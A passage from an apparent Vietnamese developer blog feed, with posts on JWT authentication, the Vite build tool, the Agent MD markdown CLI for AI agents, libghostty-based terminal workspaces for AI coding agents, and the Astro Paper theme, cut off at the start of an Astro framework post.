  const token = req.headers.authorization?.split('Bearer ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET!) as any;

    // Kiểm tra blacklist
    const blacklisted = await redis.get(`blacklist:${decoded.jti}`);
    if (blacklisted) throw new Error('Token revoked');

    req.user = decoded;
    next();
  } catch {
    res.status(401).json({ error: 'Invalid token' });
  }
}

JWT trong Cookie

// Set cookie
res.cookie('access_token', token, {
  httpOnly: true,     // Chống XSS
  secure: true,       // Chỉ HTTPS
  sameSite: 'strict', // Chống CSRF
  maxAge: 15 * 60 * 1000, // 15 phút
  path: '/',
});

// Middleware đọc từ cookie
function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.cookies.access_token;
  if (!token) return res.status(401).json({ error: 'Not authenticated' });
  // verify...
}

JWT với JWKS (JSON Web Key Set)

Dùng cho OAuth2/OIDC — public keys được serve qua endpoint:

// JWKS endpoint
app.get('/.well-known/jwks.json', async (req, res) => {
  const publicKey = await getPublicKey();
  res.json({
    keys: [{
      kty: 'RSA',
      use: 'sig',
      alg: 'RS256',
      kid: 'key-1',
      n: publicKey.n,
      e: publicKey.e,
    }],
  });
});

// Client verify với JWKS
import { createRemoteJWKSet, jwtVerify } from 'jose';

const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));

async function verifyToken(token: string) {
  const { payload } = await jwtVerify(token, JWKS, {
    issuer: 'https://auth.example.com',
    audience: 'api.example.com',
  });
  return payload;
}

JWT Payload Size

JWT không nên chứa quá nhiều dữ liệu — mỗi request đều gửi token:

// ❌ Tệ — quá nhiều claim
const token = jwt.sign({
  userId: 123,
  name: 'Alice',
  email: 'alice@example.com',
  avatar: 'https://...',
  role: 'admin',
  permissions: ['read', 'write', 'delete'],
  department: 'engineering',
  lastLogin: '2024-01-01',
  preferences: { theme: 'dark', locale: 'vi' },
}, secret);

// ✅ Tốt — chỉ lưu identifier
const token = jwt.sign({
  sub: 'user_123',
  role: 'admin',
}, secret, { expiresIn: '15m' });

Security Checklist

[ ] Access token ngắn (15 phút)
[ ] Refresh token rotation
[ ] JWT trong httpOnly cookie (cho web) hoặc Authorization header (cho mobile)
[ ] aud claim — kiểm tra audience
[ ] iss claim — kiểm tra issuer
[ ] Blacklist cho logout
[ ] Key rotation (RS256/ES256) — đổi key định kỳ
[ ] Không lưu secret trong code
[ ] Không decode token mà không verify

Kết Luận

JWT là chuẩn authentication phổ biến vì:

Stateless — không cần session store
Portable — mobile, web, service-to-service
Self-contained — user info trong token

Nhưng nhớ: JWT không thể revoke trước hạn (trừ khi dùng blacklist). Access token ngắn + refresh token rotation là giải pháp.

Tài liệu tham khảo

Vite — Build Tool Nhanh Cho Web Hiện Đại

Sat, 04 Jul 2026 00:00:00 GMT

Vite là build tool cho web hiện đại. Dev server dùng native ES modules — khởi động và HMR nhanh hơn Webpack 10-20x.

Webpack:  Bundle → serve (càng nhiều code, càng chậm)
Vite:     Serve native ESM → transform on demand (nhanh bất kể project size)

Tại Sao Vite?

Vấn Đề với Webpack

Khi project lớn dần, Webpack chậm dần:

100 files  →  5s dev start
1000 files → 30s dev start
10000+     → 2-5 phút dev start + HMR chậm

Vì Webpack bundle mọi thứ trước khi serve.

Vite Approach

Vite dùng native ES modules của browser. Trình duyệt tải modules trực tiếp:

<!-- Vite dev: trình duyệt tải từng module riêng -->
<script type="module" src="/src/main.tsx"></script>
<script type="module" src="/src/App.tsx"></script>
<script type="module" src="/src/components/Header.tsx"></script>

Không bundle — chỉ transform file khi trình duyệt request.

Setup

npm create vite@latest my-project
# Select: React, Vue, Svelte, Vanilla, Lit...

cd my-project
npm install
npm run dev

# Templates
npm create vite@latest my-app -- --template react-ts
npm create vite@latest my-api -- --template vanilla-ts
npm create vite@latest my-vue -- --template vue-ts

Config

// vite.config.ts
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [react()],
  server: {
    port: 3000,
    open: true,
    proxy: {
      '/api': 'http://localhost:8080',
    },
  },
  build: {
    outDir: 'dist',
    sourcemap: true,
    minify: 'esbuild',
    target: 'es2020',
    rollupOptions: {
      output: {
        manualChunks: {
          vendor: ['react', 'react-dom'],
        },
      },
    },
  },
})

HMR (Hot Module Replacement)

Vite HMR nhanh vì chỉ cần thay thế module đã thay đổi — không rebuild cả bundle:

Webpack HMR:
[file changed] → rebuild bundle → gửi new bundle → replace

Vite HMR:
[file changed] → transform 1 file → gửi file → replace

Kết quả: HMR dưới 50ms cho mọi project size.

TypeScript

Vite hỗ trợ TypeScript native — không cần cấu hình:

// Chạy TypeScript trực tiếp
// Vite dùng esbuild để transpile — nhanh hơn tsc 20-30x

# esbuild transpile ~50ms per file
# tsc transpile ~1000ms per file

Tuy nhiên Vite không type-check — dùng tsc --noEmit riêng:

{
  "scripts": {
    "dev": "vite",
    "build": "tsc --noEmit && vite build",
    "preview": "vite preview"
  }
}

CSS & Preprocessors

// vite.config.ts
import tailwind from '@tailwindcss/vite'

export default defineConfig({
  plugins: [
    tailwind(),  // Tailwind CSS v4
  ],
  css: {
    modules: { localsConvention: 'camelCase' },
    preprocessorOptions: {
      scss: {
        additionalData: `@import "./src/styles/variables";`,
      },
    },
  },
})

Static Assets

// Import asset → URL string
import logo from './assets/logo.png'
// logo = '/assets/logo.abc123.png'

// Dynamic import
const url = new URL('./images/hero.jpg', import.meta.url).href

// Public directory (copy as-is)
// public/favicon.ico → /favicon.ico

Environment Variables

// .env
VITE_API_URL=https://api.example.com
VITE_GOOGLE_ANALYTICS_ID=G-XXXXX

// src/env.d.ts
/// <reference types="vite/client" />

// Dùng trong code
const api = fetch(`${import.meta.env.VITE_API_URL}/data`)

// .env.development — dev only
// .env.production — build only
// .env.local — local override (gitignored)

Plugins

Vite có ecosystem plugin lớn, tương thích Rollup:

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import vue from '@vitejs/plugin-vue'
import svelte from '@vitejs/plugin-svelte'
import solid from 'vite-plugin-solid'
import mdx from '@mdx-js/rollup'

export default defineConfig({
  plugins: [
    react(),
    // Hoặc chọn một:
    // vue(), svelte(), solid(),
    {
      // Custom plugin
      name: 'my-plugin',
      transform(code, id) {
        if (id.endsWith('.custom')) {
          return transformCustomFile(code)
        }
      },
    },
  ],
})

Build cho Production

npm run build
# dist/ — build output

Vite dùng Rollup cho production build — tree-shaking, code splitting, minify:

// Dynamic import → automatic code splitting
const AdminPage = () => import('./pages/Admin.tsx')
// → admin.abc123.js (lazy load)

// manualChunks config
build: {
  rollupOptions: {
    output: {
      manualChunks(id) {
        if (id.includes('node_modules')) {
          if (id.includes('react')) return 'vendor-react'
          if (id.includes('lodash')) return 'vendor-lodash'
          return 'vendor'
        }
      },
    },
  },
}

Library Mode

Vite build cho thư viện — xuất ESM, CJS, UMD:

import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    lib: {
      entry: 'src/index.ts',
      name: 'MyLib',
      formats: ['es', 'cjs', 'umd'],
      fileName: (format) => `my-lib.${format}.js`,
    },
    rollupOptions: {
      external: ['react', 'react-dom'],
      output: {
        globals: {
          react: 'React',
          'react-dom': 'ReactDOM',
        },
      },
    },
  },
})

npm run build
# dist/my-lib.es.js
# dist/my-lib.cjs.js
# dist/my-lib.umd.js

SSR

// vite.config.ts
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [react()],
  ssr: {
    external: ['react', 'react-dom'],
    noExternal: ['some-local-lib'],
  },
})

// server.js (Node)
import { createServer } from 'vite'

const vite = await createServer({ server: { middlewareMode: true } })
const app = express()
app.use(vite.middlewares)

So Sánh

| | Webpack | Vite | |---|---|---| | Dev start | 10-60s | <1s | | HMR | 1-5s | <50ms | | Config | Phức tạp | Đơn giản | | TypeScript | Loader config | Native | | CSS | Loader config | Native | | Build | Webpack bundle | Rollup | | Dev server | Express | Connect + ESM | | Plugin ecosystem | Lớn | Lớn (Rollup compatible) |

Migration từ Webpack

npm uninstall webpack webpack-cli webpack-dev-server
npm install -D vite @vitejs/plugin-react

// webpack.config.js → vite.config.ts
// Thường đơn giản hơn 70-80%

| Webpack | Vite | |---|---| | babel-loader | @vitejs/plugin-react | | ts-loader | Native (esbuild) | | css-loader + style-loader | Native | | sass-loader | sass + css.preprocessorOptions | | html-webpack-plugin | Native | | copy-webpack-plugin | public/ directory |

Khi Nào Dùng Vite?

✅ Nên dùng

Dự án mới — React, Vue, Svelte, Solid, Lit
Monorepo — Turborepo, Nx với Vite
Library build — ESM/CJS/UMD output
SSR app — hỗ trợ tốt cho server rendering
Web component — Lit, Stencil

❌ Không nên

Legacy project — migration từ Webpack quá lớn có thể không đáng
Cần IE11 support — Vite target ES2015+
Custom build pipeline phức tạp — Webpack flexibility cao hơn

Tổng Kết

Vite thay đổi dev experience cho web developer.

# Vite: 3 lệnh là xong
npm create vite@latest my-app -- --template react-ts
cd my-app
npm run dev
# → Dev server trong 1 giây

| | Webpack 2018 | Vite 2026 | |---|---|---| | npm run dev | ~30s chờ bundle | ~300ms | | Sửa 1 dòng code | ~3s HMR | ~30ms HMR | | Config | 50+ dòng | 10-20 dòng | | Build | 2-5 phút | 10-30s |

Vite là lựa chọn mặc định cho web development hiện tại — nhanh hơn, đơn giản hơn, TypeScript-native.

Tài liệu tham khảo

Agent MD — CLI Viết Markdown Thân Thiện Cho AI Agent

Fri, 03 Jul 2026 00:00:00 GMT

Bạn có bao giờ để ý rằng file README.md hay tài liệu dự án — thứ mà AI agent đọc hàng ngày — lại chứa đầy định dạng con người thích, AI không cần?

In đậm, in nghiêng, bảng phức tạp, ASCII graph trang trí... tất cả đều tốn token khi AI đọc. Mỗi lần agent đọc tài liệu, bạn trả tiền cho những ký tự trang trí ấy.

Agent MD ra đời để giải quyết vấn đề này: một CLI viết bằng Rust, thiết kế riêng cho AI agent làm việc với markdown — tiết kiệm token, dễ parse, output JSON.

Agent MD Là Gì?

Agent MD (tác giả: loclv) là một CLI tool giúp viết markdown thân thiện với AI. Nó không chỉ format — nó kiểm tra, dọn dẹp, và cung cấp API kiểu JSON để agent đọc/ghi markdown một cách thông minh.

Triết lý: Markdown nên tối ưu cho AI đọc, không chỉ cho người xem. Bỏ qua các decoration không cần thiết, giữ lại cấu trúc và nội dung.

Vấn Đề: Token Tax

Mỗi khi LLM đọc file markdown, nó phải xử lý:

**bold** và __bold__ — in đậm, AI không cần
Bảng phức tạp với alignment — con người thích, AI parse cũng được nhưng dư thừa
ASCII art — vẽ bằng ký tự, AI đọc không hiểu
Khoảng trắng thừa, dòng trống — lãng phí

Hệ quả: ~20% token bị lãng phí cho định dạng, mỗi lần đọc là một lần mất tiền vô ích.

Cài Đặt

Yêu cầu Rust, build từ source:

git clone https://github.com/loclv/agent-md.git
cd agent-md
cargo build --release
# Binary tại target/release/agent-md
export PATH="/path/to/agent-md/target/release:$PATH"

Các Lệnh Chính

Lint — Kiểm Tra Markdown

agent-md lint README.md
# output JSON
# {"valid":false,"errors":[
# {"line":7,"message":"No bold text allowed","rule":"no-bold"},
# {"line":34,"message":"ASCII graph detected","rule":"no-ascii-graph"}
# ]}

Quy tắc lint gồm:

Lỗi (errors):

no-bold — cấm **bold** và __bold__
heading-structure — không skip cấp heading
no-ascii-graphs — cấm ASCII art (kể cả trong code block)
space-indentation — tối đa 2 spaces indent
table-syntax — bảng phải đơn giản
code-blocks — code block phải có language spec
list-formatting — list marker nhất quán
no-useless-links — link không trùng URL

Cảnh báo (warnings):

no-duplicate-headings — heading trùng nội dung
no-multiple-blanks — nhiều dòng trống liên tiếp

Output luôn là JSON, agent có thể parse dễ dàng.

Format — Dọn Dẹp

agent-md fmt document.md
# Xoá bold, compact blank lines, collapse spaces, remove HR...

Các option format:

| Option | Mô tả | |---|---| | remove_bold | Xoá **bold** và __bold__ | | compact_blank_lines | Gom dòng trống | | collapse_spaces | Gom nhiều spaces | | remove_horizontal_rules | Xoá ---, *** | | remove_emphasis | Xoá *italic* |

Ví dụ input:

# My Project

## Overview

This is a really awesome project with many features:
| Feature | Description | Status |
|---|---|---|
| API | RESTful API | ✅ Complete |
| UI | Modern interface | 🚧 In Progress |

Sau format:

# My Project

## Overview

This is a really awesome project with many features:

- API: RESTful API (Complete)
- UI: Modern interface (In Progress)

Bảng được chuyển thành list — dễ đọc hơn cho AI, ít token hơn.

Read — Đọc Thông Minh

# Đọc toàn bộ
agent-md read README.md --field content

# Chỉ đọc headings (không cần content)
agent-md read README.md --field headings

# Chỉ đọc một section
agent-md read README.md --content "## Development"

# Section lồng nhau
agent-md read README.md --content "## Development > Build"

Đây là tính năng cực kỳ hữu ích cho AI agent: thay vì đọc cả file dài, agent chỉ cần đọc đúng section cần thiết.

Write — Ghi Có Kiểm Tra

# Ghi file, tự động validate trước
agent-md write README.md "# Title\nContent"

# Ghi vào section cụ thể
agent-md write-section README.md \
  --section "## Development" \
  --content "New content"

# Append vào cuối file
agent-md append README.md "# New Section\nContent"

# Chèn tại dòng cụ thể
agent-md insert README.md 10 "# Inserted line"

Tất cả lệnh ghi đều tự động chạy lint trước — đảm bảo content luôn AI-friendly.

Search — Tìm Kiếm

agent-md search README.md "TODO"
# {"query":"TODO","matches":[{"line":15,"content":"## TODO"}],"total":1}

Headings — Cấu Trúc

agent-md headings README.md
# [{"level":1,"text":"My Project","line":1},
# {"level":2,"text":"Overview","line":3}]

Stats — Thống Kê

agent-md stats README.md
# {"word_count":120,"line_count":30,"heading_count":5}

Convert — JSONL

agent-md to-jsonl README.md
# {"type":"heading","content":"My Project","level":1}
# {"type":"paragraph","content":"Description..."}

Dùng Cho AI Agent

Agent MD có một rule cho AI agent trong docs/llm-agent-rule.md:

Khi cần đọc, ghi, hoặc sửa file markdown, luôn dùng agent-md CLI thay vì thao tác file trực tiếp.

Workflow mẫu:

# 1. Lấy cấu trúc document
agent-md read README.md --field headings

# 2. Tìm kiếm content
agent-md search README.md "TODO"

# 3. Validate content trước khi ghi
agent-md lint --content "# New Title\nContent with **bold**"

# 4. Ghi content đã validate
agent-md write README.md "# New Title\nValid content"

VS Code Extension

Agent MD còn có extension cho VS Code:

Format on demand (Shift+Option+F)
Format on save
Configurable options (xoá bold, compact blanks...)

{
  "[markdown]": {
    "editor.formatOnSave": true,
    "editor.defaultFormatter": "agent-md.agent-md-formatter"
  }
}

So Sánh Với Công Cụ Khác

| Tiêu chí | Prettier / markdownlint | Agent MD | |---|---|---| | Mục đích | Làm đẹp cho người đọc | Tối ưu cho AI | | Output | Markdown gốc | JSON | | In đậm/nghiêng | Giữ nguyên | Xoá bỏ | | Bảng | Giữ nguyên | Chuyển thành list | | Section reading | Không | Đọc theo heading path | | Lint rules | Style cho người | Token-efficient cho AI |

Kết Luận

Agent MD là công cụ đặc thù cho kỷ nguyên AI: nó tối ưu markdown cho LLM đọc, không phải cho người xem.

Nếu bạn đang xây dựng hệ thống AI agent phải đọc/ghi markdown (documentation, README, blog), Agent MD giúp:

Tiết kiệm ~20% token
Output JSON dễ parse
Đọc theo section, không cần đọc cả file
Tự động validate content trước khi ghi

Một công cụ nhỏ, ý tưởng lớn, viết bằng Rust — đáng để thử trong stack AI của bạn.

Tài liệu tham khảo

AI Agent Terminal — Làn Sóng Mới Nhờ libghostty

Fri, 03 Jul 2026 00:00:00 GMT

9 tháng trước, Mitchell Hashimoto công bố libghostty. Hôm nay, 25+ project AI agent đã xây dựng trên nó.

Không phải ngẫu nhiên. AI coding agents (Claude Code, OpenCode, Codex) cần terminal — và libghostty là cách embed terminal đúng đắn nhất hiện tại.

AI Agent Ecosystem 2026
                         ┌─────────────────┐
Claude Code ────────────→│                 │
OpenCode   ────────────→│  libghostty      │
Codex      ────────────→│  terminal core   │
Cline      ────────────→│  (C API, WASM)   │
                         └─────────────────┘
                               ↓
                    Workspace app UI (SwiftUI/GPUI/Tauri)

Tại Sao AI Agent Cần Terminal?

AI coding agents hoạt động theo vòng lặp:

Read code → Plan → Write code → Run command → Read output → Repeat
                                   ↓
                             Cần terminal

Không phải terminal "gõ lệnh xem output" đơn giản. Agent cần:

Nhiều terminal song song — chạy test, build, dev server cùng lúc
Theo dõi trạng thái — agent nào đang chạy, output gì
Session persistence — không mất context khi restart
Programmatic access — đọc/write terminal programmatically
Isolation — mỗi agent một sandbox riêng

Workspace app cho AI agents là thể loại app mới — và libghostty là terminal engine được chọn.

The Big Players

Mux (coder.com)

# Desktop + browser app cho isolated, parallel agentic development
- Multiple agent sessions side-by-side
- Terminal rendering via libghostty
- Web version dùng ghostty-web (xterm.js API compatible)

Tác giả coder.com cũng tạo ghostty-web và libghostty-vt-node — đầu tư sâu vào ecosystem.

Ghostree

Ghostty fork thêm:

Native git worktree support
AI agent integration
Mỗi worktree = môi trường riêng cho agent

AiyuTerm

macOS native:
├── Multi-repo sidebar
├── Persistent split layouts
├── SSH + tmux support
├── Real-time AI agent status dashboard
└── libghostty terminal core

Supacode

Open-source macOS "command center" cho coding agents:

# Chạy nhiều agents song song
supacode run --agent claude --task "Fix bug in auth"
supacode run --agent opencode --task "Add tests"
supacode ps # Xem trạng thái tất cả agents

Parallel Agent Workflow

Xu hướng mới: chạy nhiều agents song song trên cùng workspace.

Workspace App
├── Agent 1: Claude Code → refactor API layer        [running]
│   └── terminal: npm test -- --watch
├── Agent 2: OpenCode → implement user authentication [idle]
│   └── terminal: waiting for review
├── Agent 3: Codex → write documentation              [done]
│   └── terminal: output archived
└── Agent 4: Cline → database migration               [error]
    └── terminal: schema conflict detected

Các app như Mux0, cmux, moss, Factory Floor đều theo pattern này. libghostty cho phép mỗi agent có terminal riêng, mỗi terminal chạy trong process riêng, render độc lập.

Agent-Aware Features

Status Tracking

// libghostty-vt cho phép đọc terminal state real-time
// App dùng để hiển thị trạng thái agent
interface AgentSession {
  terminal: VirtualTerminal
  status: 'running' | 'idle' | 'error' | 'done'
  command: string
  output: string  // Từ libghostty get_text()
  exitCode?: number
}

App như AiyuTerm, in0, Zentty hiển thị trạng thái agent bên cạnh terminal — màu xanh/đỏ/vàng, thời gian chạy, lệnh hiện tại.

Notification on Completion

// cmux — macOS notifications cho AI agents
// Khi agent chạy xong hoặc lỗi → notification
// libghostty cho biết terminal đã có output mới

Session Persistence

// Zmx — dùng libghostty-vt để save/restore terminal state
// Agent chạy dở → restart → restore nguyên trạng thái

Agent Sandbox

Agent sandbox (codelima)
├── VM cô lập
├── libghostty terminal
├── Filesystem riêng
└── Network policy riêng

Workspace App Categories

Terminal Multiplexer cho Agents

| App | Platform | Đặc điểm | |---|---|---| | Mux0 | macOS | Workspaces, tabs, split panes. Live status cho Claude Code, OpenCode, Codex | | cmux | macOS | Vertical tabs, notifications cho AI agents | | Forge | macOS | Multiplexer cho parallel CLI agents + long-running tasks | | Muxy | macOS | SwiftUI multiplexer | | Mori | macOS | Workspace tổ chức theo project + worktree, tmux + libghostty |

AI-Native Terminal

| App | Platform | Đặc điểm | |---|---|---| | blink | macOS | AI terminal hiện đại | | limpid | macOS | macOS-native cho AI coding agent era | | witty | Cross-platform | Python + Qt6 + Rust, AI-powered | | frep | macOS | Agentic terminal emulator | | con-terminal | macOS | Built-in AI harness |

Multi-Agent Workspace

| App | Platform | Đặc điểm | |---|---|---| | Supacode | macOS | Command center chạy agents song song, open-source | | moss | macOS | Multi-terminal canvas, agent status tracking, file preview | | AiyuTerm | macOS | Multi-repo sidebar, SSH, tmux, real-time agent status | | Factory Floor | macOS | Parallel development + git worktrees + Claude Code agents | | paulatty | macOS | AI agent team workspace | | taskers | macOS | Agent-first terminal workspace, Rust shell, Niri-like tiling | | Zentty | macOS | Vertical tabs, worklanes, notifications, agent-aware sidebar | | in0 | macOS | Multiplexer với live AI agent status | | agtmux-term | macOS | AI-agent-aware terminal, SwiftUI sidebar |

Agent IDE

| App | Platform | Đặc điểm | |---|---|---| | moai-studio | Cross-platform | Rust + GPUI, SPEC-first development, MoAI-ADK | | YEN | macOS | Terminal-first IDE, speech-to-text, themes, notifications | | TheCommander | macOS | Diff review, git workflow, worktree management | | ADHDev | Cross-platform | Self-hosted control plane cho AI coding agents |

Agent Infrastructure

| App | Platform | Đặc điểm | |---|---|---| | codelima | macOS | Chạy agents trong VM sandbox cô lập | | wispterm | Cross-platform | Terminal workspace cho remote development + AI agents | | Ghostree | macOS | Ghostty fork + git worktree + AI agents | | Aizen | macOS | Workspace cho parallel development |

Tại Sao libghostty Thắng Thế Này?

So sánh với các lựa chọn khác cho AI agent terminal:

| Tiêu chí | xterm.js | libvte | Tự viết | libghostty | |---|---|---|---|---| | Native perf | ❌ (JS) | ✅ | ⚠️ | ✅ (Zig) | | Embed C API | ❌ | ✅ | ✅ | ✅ | | Zero dependency | ❌ | ❌ | ✅ | ✅ | | WASM | ✅ | ❌ | ❌ | ✅ | | Kitty protocol | ❌ | ❌ | ❌ | ✅ | | Tmux control | ❌ | ❌ | ❌ | ✅ | | Programmatic read | ⚠️ | ✅ | ✅ | ✅ | | macOS native | ❌ | ❌ | ⚠️ | ✅ |

xterm.js là lựa chọn cũ (VS Code dùng). Nhưng cho native macOS app, xterm.js nghĩa là nhúng cả Chromium/WebView — nặng, chậm.

libghostty native, nhẹ (~14KB), C API = gọi từ Swift/Rust/Go dễ dàng.

Tương Lai: Terminal Cho AI Agents

Xu hướng đang hình thành:

Từ terminal app → agent workspace: Không chỉ gõ lệnh, mà quản lý agents
Multi-agent parallel: Nhiều agents chạy cùng lúc, mỗi agent terminal riêng
Programmatic terminal: AI đọc/write terminal trực tiếp, không qua UI
Session persistence: Terminal state sống qua restart
Remote agents: Agents chạy trên server, terminal render local (libghostty + WASM)

// Tương lai: AI agent workspace API
const workspace = new AgentWorkspace()

const agent = workspace.createAgent({
  name: 'refactor-auth',
  model: 'claude-code',
  terminal: { rows: 40, cols: 120 },
  sandbox: { type: 'vm', image: 'ubuntu:24.04' },
})

// Agent chạy, terminal render real-time
agent.onOutput((text) => console.log(text))

// Human take over khi cần
agent.onBlocked(async (reason) => {
  const input = await askUser(`Agent stuck: ${reason}`)
  agent.continue(input)
})

libghostty là nền tảng cho tầm nhìn này. Terminal không còn là app — terminal là component.

Tổng Kết

25+ AI agent project trên libghostty trong 9 tháng không phải ngẫu nhiên.

# 2025: libghostty ra mắt
# 2026: 25+ AI agent apps built on libghostty
# Next: terminal là component, workspace cho agents là app

libghostty cung cấp terminal engine đúng cho kỷ nguyên AI coding agents: native, nhẹ, C API, WASM, programmatic access. Còn lại là workspace UX do cộng đồng xây.

Tài liệu tham khảo

Astro Paper — Theme Blog Minimal Cho Astro

Fri, 03 Jul 2026 00:00:00 GMT

Khi xây dựng blog cá nhân với Astro, chọn theme phù hợp là bước quan trọng. Bạn muốn blog nhanh, đẹp, dễ SEO, nhưng cũng đừng quá phức tạp để custom.

Astro Paper là một trong những theme blog phổ biến nhất trong hệ sinh thái Astro — được tạo bởi Sat Naing, focus vào sự tối giản, accessibility, và hiệu suất.

Tổng Quan

Astro Paper là theme blog mã nguồn mở (MIT License) cho Astro, được thiết kế dựa trên blog cá nhân của tác giả. Nó chạy hoàn toàn trên Astro, không React, không Vue — output là HTML/CSS tĩnh, siêu nhẹ.

Triết lý: Tối giản nhưng đầy đủ. Đủ tính năng cho một blog chuyên nghiệp, nhưng không phình to thành một CMS cồng kềnh.

Tính Năng Nổi Bật

Hiệu Suất & SEO

Lighthouse 100/100 — Performance, Accessibility, Best Practices, SEO
SEO-Friendly — Meta tags, sitemap, RSS feed có sẵn
Responsive — Hoạt động tốt từ mobile đến desktop
Accessible — Đã test với VoiceOver (Mac) và TalkBack (Android)

Nội Dung

Markdown & MDX — Cả hai định dạng, type-safe
Code Highlighting — Shiki, hỗ trợ nhiều ngôn ngữ
Collapsible TOC — Mục lục có thể thu gọn/mở rộng
Draft Posts — Bài viết nháp, không publish

UX

Dark Mode — Chuyển đổi sáng/tối mượt mà
Static Search (Pagefind) — Tìm kiếm không server
Dynamic OG Images — Tự động tạo ảnh preview cho bài viết
Pagination — Phân trang tự động
i18n Ready — Sẵn sàng đa ngôn ngữ

Developer Experience

TypeScript — Toàn bộ codebase type-safe
TailwindCSS — Styling linh hoạt
Highly Customizable — Config trung tâm, dễ chỉnh sửa
Best Practices — ESLint, Prettier có sẵn

Cài Đặt

Tạo project mới với một dòng lệnh:

# pnpm (khuyên dùng)
pnpm create astro@latest --template satnaing/astro-paper

# npm
npm create astro@latest -- --template satnaing/astro-paper

# yarn
yarn create astro --template satnaing/astro-paper

# bun
bun create astro@latest -- --template satnaing/astro-paper

Sau đó chạy:

cd ten-du-an
pnpm install
pnpm dev

Mở http://localhost:4321 — bạn đã có blog chạy ngay lập tức.

Cấu Hình

Astro Paper dùng file astro-paper.config.ts ở thư mục gốc để quản lý toàn bộ cấu hình:

export default defineAstroPaperConfig({
  site: {
    url: 'https://example.com',
    title: 'Blog Của Tôi',
    description: 'Mô tả blog',
    author: 'Tên bạn',
    lang: 'vi',
    timezone: 'Asia/Ho_Chi_Minh',
    googleVerification: '...', // tuỳ chọn
  },
  posts: {
    perPage: 6,       // 6 bài mỗi trang
    perIndex: 5,      // 5 bài trên trang chủ
    scheduledPostMargin: 15, // phút
  },
  features: {
    lightAndDarkMode: true,
    dynamicOgImage: true,
    showArchives: true,
    showBackButton: true,
    search: { provider: 'pagefind' },
    editPost: {
      url: 'https://github.com/you/your-blog/edit/main/src/content/posts',
    },
  },
  socials: [
    { name: 'github', href: 'https://github.com/you' },
    { name: 'twitter', href: 'https://twitter.com/you' },
  ],
  shareLinks: ['twitter', 'facebook', 'linkedin'],
})

Mọi thứ đều có IntelliSense — gõ defineAstroPaperConfig là được IDE gợi ý ngay.

Thêm Bài Viết

Đặt file .md hoặc .mdx vào src/content/posts/:

---
title: 'Tiêu đề bài viết'
description: 'Mô tả ngắn'
publishDate: '2026-07-03'
tags: [Astro, Tutorial]
ogImage: '/path/to/image.jpg' # tuỳ chọn, nếu không có thì dùng OG động
---

Bạn có thể tổ chức bài viết vào thư mục con — tên thư mục sẽ thành một phần của URL. Ví dụ src/content/posts/javascript/closure.md → /posts/javascript/closure.

Tuỳ Chỉnh Giao Diện

Màu Sắc

Astro Paper dùng CSS variables, sửa trong src/styles/theme.css:

/* Light mode */
:root {
  --color-accent: 47, 109, 225;
  --color-accent-bg: #eef3ff;
  --color-card: #ffffff;
  --color-bg: #f8f9fa;
  --color-text: #1a1a2e;
}

/* Dark mode */
:root.dark {
  --color-accent: 98, 157, 255;
  --color-accent-bg: #1a2332;
  --color-card: #1e1e2e;
  --color-bg: #0d0d1a;
  --color-text: #e4e4e7;
}

Theme có sẵn nhiều bảng màu predefined — bạn có thể chọn hoặc tự custom.

Font

Muốn đổi font? 3 bước:

Khai báo font trong astro.config.ts
Cập nhật component <Font /> trong src/layouts/Layout.astro
Sửa biến CSS --font-app trong src/styles/theme.css

Logo

Có 3 cách:

Text — Cấu hình trong astro-paper.config.ts
SVG — File SVG tĩnh
Image — Astro Image component trong Header.astro

Cấu Trúc Thư Mục

/
├── public/              # Static assets
│   ├── pagefind/        # Tự động sinh khi build
│   └── favicon.svg
├── src/
│   ├── assets/          # Icons, images
│   ├── components/      # UI components
│   ├── content/
│   │   ├── pages/       # Trang tĩnh (about, ...)
│   │   └── posts/       # Bài viết blog
│   ├── i18n/            # Đa ngôn ngữ
│   ├── layouts/         # Page layouts
│   ├── pages/           # Route pages
│   ├── styles/          # CSS, theme
│   ├── config.ts        # Config mặc định (không sửa)
│   └── content.config.ts
├── astro-paper.config.ts # Config người dùng
└── astro.config.ts

Commands

| Command | Mô tả | |---|---| | pnpm install | Cài dependencies | | pnpm dev | Dev server tại localhost:4321 | | pnpm build | Type-check + build + Pagefind index | | pnpm preview | Preview bản build | | pnpm sync | Gen TypeScript types cho Astro |

Deployment

Astro Paper là static site — deploy được ở bất kỳ đâu:

Cloudflare Pages (khuyên dùng)
Vercel
Netlify
GitHub Pages

Chỉ cần kết nối repo, build command là pnpm build, output dir là dist.

So Sánh

| Tiêu chí | Astro Paper | astro-pure (blog này) | AntfuStyle | |---|---|---|---| | UI Framework | Zero | Zero | Zero | | Search | Pagefind | Pagefind | Pagefind | | OG Image | Động (Satori) | Có | Có | | Dark Mode | Có | Có | Có | | i18n | Có sẵn | Có | Không | | Comments | Không mặc định | Waline | Giscus | | Color Schemes | CSS variables | CSS variables | CSS variables | | Animated BG | Không | Không | Có (4 hiệu ứng) |

Astro Paper phù hợp nếu bạn muốn blog tối giản, hiệu suất cao, dễ custom, và có sẵn các tính năng core như search, OG động, i18n.

Kết Luận

Astro Paper là một trong những theme blog Astro tốt nhất hiện tại — minimal, performance-first, accessibility-aware. Nó cung cấp đủ tính năng cho một blog chuyên nghiệp mà không làm bạn choáng ngợp.

Nếu bạn đang tìm theme để bắt đầu blog với Astro, Astro Paper là lựa chọn đáng thử nhất.

Tài liệu tham khảo

Astro — Web Framework Cho Content-First Site

Fri, 03 Jul 2026 00:00:00 GMT

Astro là web framework cho content-first site. Khác với Next.js hay Nuxt — Astro ship zero JavaScript mặc định, chỉ thêm JS khi cần.

Next.js:  page → React → JS bundle → gửi JS cho client
Astro:    page → HTML → gửi HTML cho client (JS chỉ thêm nếu cần)

Kết quả: site nhanh hơn, LightHouse 100/100 dễ hơn, ít JS hơn.

Islands Architecture

Astro không hydrate toàn bộ trang. Nó chỉ hydrate các "island" — component React/Vue/Svelte riêng lẻ.

---
// src/pages/index.astro
import Header from '../components/Header.astro'
import LikeButton from '../components/LikeButton.tsx'
import Comments from '../components/Comments.svelte'
---

<!-- Static HTML — không JS -->
<Header />

<!-- Island — chỉ component này có JS -->
<LikeButton client:load />

<!-- Island khác — lazy hydrate khi scroll tới -->
<Comments client:visible />

Client Directives

<!-- Load JS ngay khi trang load -->
